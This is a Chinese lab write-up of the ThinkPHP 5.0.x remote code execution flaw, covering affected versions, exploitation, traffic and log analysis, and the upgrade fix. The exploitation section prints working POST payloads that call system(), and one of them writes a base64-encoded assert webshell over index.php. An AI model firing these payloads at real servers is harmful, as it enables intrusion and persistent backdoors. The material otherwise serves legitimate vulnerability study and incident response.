一、概述
ThinkPHP是一款运用极广的PHP开发框架。其5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。
Thinphp团队在实现框架中的核心类Requests的method方法实现了表单请求类型伪装,默认为$_POST[‘_method’]变量,却没有对$_POST[‘_method’]属性进行严格校验,可以通过变量覆盖掉Requets类的属性并结合框架特性实现对任意函数的调用达到任意代码执行的效果。
二、影响范围及使用条件
1、范围
受影响版本:Think PHP 5.0.0-5.0.23
不受影响版本:Think PHP 5.0.24
2、利用条件
版本名 | 是否可被攻击 | 攻击条件 |
5.0.0 | 否 | 无 |
5.0.1 | 否 | 无 |
5.0.2 | 否 | 无 |
5.0.3 | 否 | 无 |
5.0.4 | 否 | 无 |
5.0.5 | 否 | 无 |
5.0.6 | 否 | 无 |
5.0.7 | 否 | 无 |
5.0.8 | 是 | 无需开启debug |
5.0.9 | 是 | 无需开启debug |
5.0.10 | 是 | 无需开启debug |
5.0.11 | 是 | 无需开启debug |
5.0.12 | 是 | 无需开启debug |
5.0.13 | 是 | 需开启debug |
5.0.14 | 是 | 需开启debug |
5.0.15 | 是 | 需开启debug |
5.0.16 | 是 | 需开启debug |
5.0.17 | 是 | 需开启debug |
5.0.18 | 是 | 需开启debug |
5.0.19 | 是 | 需开启debug |
5.0.20 | 否 | 无 |
5.0.21 | 是 | 需开启debug |
5.0.22 | 是 | 需开启debug |
5.0.23 | 是 | 需开启debug |
三、漏洞利用
1、漏洞poc,网页上构造post包:
利用点:
http://192.168.52.131:8080/index.php?s=captcha
data部分:
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=pwd
或者:
_method=__construct&filter[]=system&method=get&get[]=pwd
2、使用burpsuite抓包分析,成功响应

3、这里如何getshell呢?
(1)通过覆盖index.php文件内容的方式(因为这里是一定存在index.php文件的,但是存在风险,一旦覆盖后又无法利用,会导致漏洞无法使用)
因为存在过滤,这里我们使用base64加密数据写入shell,同时eval函数没法注入,这里选择assert函数。
#postdata数据
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo -n YWFhPD9waHAgQGFzc2VydCgkX1BPU1RbJ2FkbWluJ10pOz8+YmJi== | base64 -d > index.php

使用蚁剑连接shell,注意要选择char16和base64

(2)或者选择建立一个新的文件,将内容写入新文件中(建议)
#POST数据:
_method=__construct&filter[]=system&method=get&get[]=echo "<?php phpinfo(); ?>" > test.php


四、应急分析
那么,在遭受攻击时,我们可以通过哪些角度去分析是否遭受攻击呢?
1、从流量侧分析
如果存在流量监控软件的话,通过分析流量包是可以监测还原整个攻击流程的。
在如下数据包中,发现攻击者先用ls探测了服务器根目录下有哪些文件,由于回包是分块传输,看起来不怎么友好,但是还是能知道是利用成功的
POST /index.php?s=captcha HTTP/1.1
Host: 192.168.52.131:8080
Content-Length: 63
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.52.131:8080
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.52.131:8080/index.php?s=captcha
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
_method=__construct&filter%5B%5D=system&method=get&get%5B%5D=ls
HTTP/1.1 200 OK
Date: Wed, 09 Feb 2022 09:59:48 GMT
Server: Apache/2.4.25 (Debian)
X-Powered-By: PHP/7.2.12
Vary: Accept-Encoding
Content-Encoding: gzip
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
1b
..........JK,.L.....\......
10
..KI..+.(.......
11
*.O./).+.(.......
e
*./-I-........
d
*.I,.L.......
c
*I-.........
7a9
.Y[..D.~.....B....4.f#J)..-+Q*U...=Y...X..f..R.P.....q..
. !u_....4..'..g.;..c'..p..zf..s...;3..3/.v.........?.K..v.'.<=...l....M.../..#..Tx...8..G.8g....).....15.@`. .(
Xlk-`..yld.FQj..Q..P.F....C.gb./5D.*(......l..0"<~..4.,58...8.4N..qD.....b....^.c3...zvuu.l.c.6uQk-.C..wp.k..H.].1..
.........q...N].6g...t._$.T
E8.L0...S..o.......;.
....4az.';b..cZ......L.2.sc.....N........fD.!]...O.w...v!.....G.b.I...*.X.....J.c.......b..~...^.b....Q...d..... b.u.....C..hhI<.1%..sn..Z...K.uE.l....5....!lY<...G.7..0.P.=a:.f....AC.....r..c....<....n.-?g...@B@.Zm]....W..>WQ.3.H^......
..8`..c[.......eHH..eNL|......!...@Q\h.......P........e`.....-..LWdpF~t.*.].7...F.....`.z..:...".../Q.L..]f..5t......!......Q.m. ~..(.....Pl..1.b...!&......]Y?.M.DjC/uF/..
....4.i...8.>.5..@.g......g1...FtuR/............h...A..40.r.`....{.......v.....2..bZ.6.............g.0..W...,(.u....,....
.p.'Q..I.|.$..H.H..h....&
X.u.h.W......h..M.B3..U..r...zx....:....G..........w....cm3.,......{t.`n.l..........a..U0s....T........ Z......i...(k.../1.^Zd..T..~C.e.
-.y....jw..(.0$%
b.X..wr...].+...0..=C..s.g..0.C.......Km .eQ.....rO....a....m.
.h..n*.h9..9^z..MSX.%.....
,... ...#8lx.-.5~.Umq9.L.?.F)..JN.:
...E..d [....].P..K=G..i.^..&c+..R.3..k.Sy...{.s...yd..H>...}5..'....}s...$...5.....\r..*.>w..8n....b_.
..c.|..'...E>.ri..p5...L..nP.
+\(..i....
y..13 ....r.?
.U....6.$.;.yw..i.L....E.,.S..Y...O....O.Z#.
b.G..0...S...6Ke..,..TS<..iW.Y.@b.CN..@,Z~.......+.x...R.A...p.J.0.<g...".{...8.....1.9
D]u...J......f.h6..F<%@..1{T.G....T...]ar.].bg.d,.$*0.!c....6.....~.m..hn.G.n7.3i.!.
~..G.j{{..=.x..bo..!c;.l1...........=8|..4...H.V..CPShe........
.....%+...3....0FX.%1N.`..b
....bW.n.]....9..DH2..\...).....d.....P.......2.dMPU...O<...'..,A..?....~...{F?.,.....2.S.TD...`
$h.{n..|...o.=.........{t.....'.|4.u........#[...'4....Qg.1.bZ..(...4&..x...........\N...+D.m4F.Q.N..N..u.<.*_..n...?....$._[.7.+..]....G...N~.......vs.....o...zu.....;G.....w....?~....G.=|r.............t. :.....W%.w....
0
探测完当前目录的文件后,开始查看当前路径

接下来是尝试写入phpinfo脚本文件


开始写入webshell


总体来说,从流量侧是可以排查到攻击路径的。
2、从日志侧分析
如果没有其他可利用的设备,那么web本身的日志文件是个很重要的排查依据。
因为我这里是docker搭建的靶场环境,所以并没有保存对应的日志文件。正常来说是access.log和/var/www/runtime/log/下文件,里面包含时间,来源IP、URL、请求方式(get、post、put等)、包大小、状态码。

五、漏洞修复
升级到5.0.24及以上,不用开启debug模式。